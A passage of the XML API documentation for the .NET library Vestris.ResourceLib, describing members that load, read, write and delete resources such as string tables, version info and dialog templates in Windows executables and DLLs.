<summary>\n            Load a resource from an executable (.exe or .dll) module.\n            </summary>\n            <param name=\"hModule\">An executable (.exe or .dll) module.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a memory stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.WriteAndGetBytes\">\n            <summary>\n            Return resource data.\n            </summary>\n            <returns>Resource data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String)\">\n            <summary>\n            Save a resource.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"langid\">Language id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.DeleteFrom(System.String)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Delete(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Delete a resource from an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.SaveTo(System.String,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Byte[])\">\n            <summary>\n            Save a resource to an executable (.exe or .dll) file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"lang\">Resource language.</param>\n            <param name=\"data\">Resource data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Resource.Save(System.String,System.Collections.Generic.IEnumerable{Vestris.ResourceLib.Resource})\">\n            <summary>\n            Save a batch of resources to a given file.\n            </summary>\n            <param name=\"filename\">Path to an executable file.</param>\n            <param name=\"resources\">The resources to write.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceId\">\n            <summary>\n            A resource Id.\n            There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. \"CUSTOM\").\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.IntPtr)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer or string resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.UInt32)\">\n            <summary>\n            A resource identifier.\n            </summary>\n            <param name=\"value\">A integer resource id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A well-known resource-type identifier.\n            </summary>\n            <param name=\"value\">A well known resource type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.#ctor(System.String)\">\n            <summary>\n            A custom resource identifier.\n            </summary>\n            <param name=\"value\"></param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Id\">\n            <summary>\n            Resource Id.\n            </summary>\n            <remarks>\n            If the resource Id is a string, it will be copied.\n            </remarks>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.TypeName\">\n            <summary>\n            String representation of a resource type name.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.ResourceType\">\n            <summary>\n            An enumerated resource type for built-in resource types only.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.IsIntResource(System.IntPtr)\">\n            <summary>\n            Returns true if the resource is an integer resource.\n            </summary>\n            <param name=\"value\">Resource pointer.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceId.Name\">\n            <summary>\n            Resource Id in a string format.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.ToString\">\n            <summary>\n            String representation of the resource Id.\n            </summary>\n            <returns>Resource name.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.GetHashCode\">\n            <summary>\n            Resource Id hash code. \n            Resource Ids of the same type have the same hash code.\n            </summary>\n            <returns>Resource Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceId.Equals(System.Object)\">\n            <summary>\n            Compares two resource Ids by value.\n            </summary>\n            <param name=\"obj\">Resource Id.</param>\n            <returns>True if both resource Ids represent the same resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceInfo\">\n            <summary>\n            Resource info manager.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Resources\">\n            <summary>\n            A dictionary of resources, the key is the resource type, eg. \"REGISTRY\" or \"16\" (version).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.ResourceTypes\">\n            <summary>\n            A shortcut for available resource types.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.#ctor\">\n            <summary>\n            A new resource info.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Unload\">\n            <summary>\n            Unload the previously loaded module.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Load(System.String)\">\n            <summary>\n            Load an executable or a DLL and read its resources.\n            </summary>\n            <param name=\"filename\">Source filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceTypesImpl(System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource types.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceNamesImpl(System.IntPtr,System.IntPtr,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Enumerate resource names within a resource by type\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.CreateResource(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            Create a resource of a given type.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResourceGlobal\">Pointer to the resource in memory.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"size\">Size of resource.</param>\n            <returns>A specialized or a generic resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.IntPtr)\">\n            <summary>\n            Enumerate resource languages within a resource by name\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Save(System.String)\">\n            <summary>\n            Save resource to a file.\n            </summary>\n            <param name=\"filename\">Target filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Dispose\">\n            <summary>\n            Dispose resource info object.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(System.String)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.System#Collections#IEnumerable#GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceTableHeader\">\n            <summary>\n            A resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._header\">\n            <summary>\n            Resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Header\">\n            <summary>\n            Resource header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor\">\n            <summary>\n            A new resource table header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.String)\">\n            <summary>\n            An resource table header with a specific key.\n            </summary>\n            <param name=\"key\">resource key</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.IntPtr)\">\n            <summary>\n            An existing resource table.\n            </summary>\n            <param name=\"lpRes\">Pointer to resource table data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Read(System.IntPtr)\">\n            <summary>\n            Read the resource header, return a pointer to the end of it.\n            </summary>\n            <param name=\"lpRes\">Top of header.</param>\n            <returns>End of header, after the key, aligned at a 32 bit boundary.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource table.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString\">\n            <summary>\n            String representation.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString(System.Int32)\">\n            <summary>\n            String representation.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceUtil\">\n            <summary>\n            Resource utilities.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.Int64)\">\n            <summary>\n            Align an address to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.IntPtr)\">\n            <summary>\n            Align a pointer to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Pointer to an address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a WORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToDWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a DWORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.HiWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.LoWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.WriteAt(System.IO.BinaryWriter,System.Int64,System.Int64)\">\n            <summary>\n            Write a value at a given position.\n            Used to write a size of data in an earlier located header.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"value\">Value to write.</param>\n            <param name=\"address\">Address to write the value at.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Pad(System.IO.BinaryWriter,System.UInt16)\">\n            <summary>\n            Pad bytes.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"len\">Number of bytes to write.</param>\n            <returns>New position within the stream.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.NEUTRALLANGID\">\n            <summary>\n            Neutral language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.USENGLISHLANGID\">\n            <summary>\n            US-English language ID.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.MAKELANGID(System.Int32,System.Int32)\">\n            <summary>\n            Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits).\n            </summary>\n            <param name=\"primary\">Primary language ID.</param>\n            <param name=\"sub\">Sublanguage ID.</param>\n            <returns>Microsoft language ID.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PRIMARYLANGID(System.UInt16)\">\n            <summary>\n            Return the primary language ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID</param>\n            <returns>primary language ID (low-order 10 bits)</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.SUBLANGID(System.UInt16)\">\n            <summary>\n            Return the sublanguage ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID.</param>\n            <returns>Sublanguage ID (high-order 6 bits).</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.GetBytes``1(``0)\">\n            <summary>\n            Returns the memory representation of an object.\n            </summary>\n            <typeparam name=\"T\">Object type.</typeparam>\n            <param name=\"anything\">Data.</param>\n            <returns>Object's representation in memory.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToList``1(System.UInt32)\">\n            <summary>\n            Get a collection of flags from a flag value.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag value.</param>\n            <returns>Collection of flags.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToString``1(System.UInt32)\">\n            <summary>\n            Get a string representation of flags.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag vlaue</param>\n            <returns>String representation of flags in the f1 | ... | fn format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information that can be displayed for a particular language and code page.\n            http://msdn.microsoft.com/en-us/library/aa908808.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor\">\n            <summary>\n            A new string file-version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read an existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n            <returns>Pointer to the end of the string file-version resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string file-version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Default\">\n            <summary>\n            Default (first) string table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Item(System.String)\">\n            <summary>\n            Indexed string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>A string table at a given index.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of StringFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the StringFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringResource\">\n            <summary>\n            A string, RT_STRING resource.\n            Each string resource block has 16 strings, each represented as an ordered pair \n            (length, text). Length is a WORD that specifies the size, in terms of the number of characters, \n            in the text that follows. Text follows length and contains the string in Unicode without the \n            NULL terminating character. There may be no characters in text, in which case length is zero.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Strings\">\n            <summary>\n            String collection in this resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Item(System.UInt16)\">\n            <summary>\n            Returns a string of a given Id.\n            </summary>\n            <param name=\"id\">String Id.</param>\n            <returns>A string of a given Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor\">\n            <summary>\n            A new string resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.UInt16)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.GetBlockId(System.Int32)\">\n            <summary>\n            A string with ID, stringId, is located in the block with ID given by the following formula.\n            http://support.microsoft.com/kb/q196774/\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.BlockId\">\n            <summary>\n            String table block id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the strings.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Address of the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.ToString\">\n            <summary>\n            String representation of the strings resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains language \n            and code page formatting information for the strings. A code page is an ordered character set.\n            See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor\">\n            <summary>\n            A new string table.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.String)\">\n            <summary>\n            A new string table.\n            </summary>\n            <param name=\"key\">String table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the table.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Read(System.IntPtr)\">\n            <summary>\n            Read a string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Pointer to the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string table to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.LanguageID\">\n            <summary>\n            The four most significant digits of the key represent the language identifier.\n            Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits \n            specify the major language, and the high-order 6 bits specify the sublanguage.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.CodePage\">\n            <summary>\n            The four least significant digits of the key represent the code page for which the data is formatted.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Item(System.String)\">\n            <summary>\n            Returns an entry within the string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>An entry within the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the string table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the strings table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTableEntry\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains a string \n            that describes a specific aspect of a file, such as a file's version, its copyright notices, \n            or its trademarks.\n            http://msdn.microsoft.com/en-us/library/aa909025.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry._value\">\n            <summary>\n            The value is always stored double-null-terminated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry.ConsiderPaddingForLength\">\n            <summary>\n            When set to true the length in the header will also contain the padding bytes when writing to a stream.\n            The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Header\">\n            <summary>\n            String resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Key\">\n            <summary>\n            Key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.StringValue\">\n            <summary>\n            String value (removing the double-null-terminator).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Value\">\n            <summary>\n            Value.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.String)\">\n            <summary>\n            A new string resource.\n            </summary>\n            <param name=\"key\">Key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Read(System.IntPtr)\">\n            <summary>\n            Read a string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a string resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32\">\n            <summary>\n            User32.dll functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ICONINFO\">\n            <summary>\n            Contains information about an icon or a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.IsIcon\">\n            <summary>\n            Specifies whether this structure defines an icon or a cursor. \n            A value of TRUE specifies an icon; FALSE specifies a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.xHotspot\">\n            <summary>\n            Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is \n            always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.yHotspot\">\n            <summary>\n            Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot \n            is always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.MaskBitmap\">\n            <summary>\n            Specifies the icon bitmask bitmap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.ColorBitmap\">\n            <summary>\n            Handle to the icon color bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.GetDC(System.IntPtr)\">\n            <summary>\n            Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. \n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the DC for the specified window's client area. \n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.ReleaseDC(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Releases a device context (DC), freeing it for use by other applications.\n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be released.</param>\n            <param name=\"hDC\">A handle to the DC to be released.</param>\n            <returns>\n            The return value indicates whether the DC was released. If the DC was released, the return value is 1.\n            If the DC was not released, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGTEMPLATE\">\n            <summary>\n            The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. \n            This structure, always the first in a standard template for a dialog box, \n            also specifies the number of controls in the dialog box and therefore specifies \n            the number of subsequent DIALOGITEMTEMPLATE structures in the template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cdit\">\n            <summary>\n            Specifies the number of items in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE\">\n            <summary>\n            The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member 